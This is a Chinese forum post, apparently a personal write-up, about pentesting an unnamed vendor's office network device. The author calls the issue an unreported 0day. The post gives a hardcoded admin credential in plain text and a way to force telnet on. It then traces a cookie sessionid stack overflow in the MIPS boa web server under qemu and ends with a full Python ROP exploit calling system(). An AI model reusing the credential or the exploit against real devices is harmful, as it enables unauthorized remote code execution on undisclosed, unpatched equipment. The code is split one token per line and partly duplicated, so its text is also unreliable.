在这次出差时,对甲方办公网备进行了渗透测试。
期间搞断网了好几次,最后在领导的要求下就没在用真实设备来做测试了。
所以此次pwn测试使用了qemu进行模拟.
由于真实设备没路子搞到,也不知道设备所属厂商是谁,所以也没进行上报,算是一个0day吧。
先来看看web登录界面如下
在之前购买相同登录界面的设备固件中发现内置了一个帐号
telecomadmin/nE7jA%5m
登录成功
如此看来该系列都会内置如此的帐号。
随后查看了一圈功能发现了拥有telnet服务,但是没有开启,也有别的rce漏洞可以用,这里直接强行开启telnet服务。
通过修改前端的html标签的属性成功开启了telnet服务
登录telnet后并打包系统
系统文件
通过端口查看到web服务对应的进程是/bin/boa的文件,架构是mips大端。
直接使用qemu来模拟执行,需要修改boa里一点点代码逻辑即可成功运行,不做多描述。
cmd输入命令
因为缺失很多硬件的数据,所以这里只能访问到基本的页面。
ida查看部分函数
存在漏洞的函数
search_login_list
get_sessionid_from_cookie
可以看到,在get_sessionid_from_cookie函数中并没有指定sessionid的长度。
通过qemu添加-g来可以通过ida来调试
栈溢出
sscanf执行前
可以看到,a2由s0来指定,s0的值是0x407FFD28
0x407FFD54是返回地址
sscanf执行后
可以看出,这一整块栈数据都被'a'填充了,包括返回地址
由此证明,可以通过超长的sessionid来进行栈溢出攻击。
通过ida的插件mipsrop在libmib.so寻找到大量的rop,最终选定可用的两个
通过该rop调用system,由上面代码可以看出
计算出payload的大小为:0x23C-0x20=0x21C
sp+0x20为payload
sp+0x23C为system函数地址
构造的poc如下:
最后执行效果如下
qemu的模拟对imagebase查看的话用ida附加后在main下断点然后在qemu加-strace可以在输入信息可以看到
第一次搞mips的pwn磕磕碰碰了许久才折腾成功,学到了很多东西。
由此发文记录一下~
那是真滴牛批.
chroot .
/
.
/
qemu
-
mips
-
static
-
strace .
/
bin
/
boa1
chroot .
/
.
/
qemu
-
mips
-
static
-
strace .
/
bin
/
boa1
from
socket
import
*
HOST
=
'192.168.92.129'
PORT
=
80
BUFSIZE
=
1024
ADDR
=
(HOST, PORT)
tcpCliSock
=
socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
rop_ImageBase
=
0x3FECB000
rop_offset_1
=
0x000ACCE0
rop_offset_2
=
0x0001DAB8
rop_Addr_1
=
rop_ImageBase
+
rop_offset_1
rop_Addr_2
=
rop_ImageBase
+
rop_offset_2
libc_ImageBase
=
0x3fa8e000
_system
=
0x0005EDD0
Function
=
_system
+
libc_ImageBase
print
(
hex
(Function))
MaxShellBufSize
=
0x21C
Shell
=
b
"echo PwnByWowfk"
Shell
+
=
b
"&echo "
FkData
=
b
"aaaa"
*
11
FkData
+
=
rop_Addr_1.to_bytes(
4
,
"big"
)
FkData
+
=
b
"aaaa"
*
8
FkData
+
=
Shell
+
b
'a'
*
(MaxShellBufSize
-
len
(Shell))
FkData
+
=
Function.to_bytes(
4
,
"big"
)
FkData
+
=
b
'None'
FkData
+
=
rop_Addr_2.to_bytes(
4
,
"big"
)
FkData
+
=
b
'\0'
print
(
len
(FkData))
data
=
b
%
FkData
print
(data)
tcpCliSock.send(data)
while
True
:
data
=
tcpCliSock.recv(BUFSIZE)
if
not
data:
break
print
(data.decode(
"gbk"
,
"ignore"
))
tcpCliSock.close()
from
socket
import
*
HOST
=
'192.168.92.129'
PORT
=
80
BUFSIZE
=
1024
ADDR
=
(HOST, PORT)
tcpCliSock
=
socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
rop_ImageBase
=
0x3FECB000
rop_offset_1
=
0x000ACCE0
rop_offset_2
=
0x0001DAB8
rop_Addr_1
=
rop_ImageBase
+
rop_offset_1
rop_Addr_2
=
rop_ImageBase
+
rop_offset_2
libc_ImageBase
=
0x3fa8e000
_system
=
0x0005EDD0
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)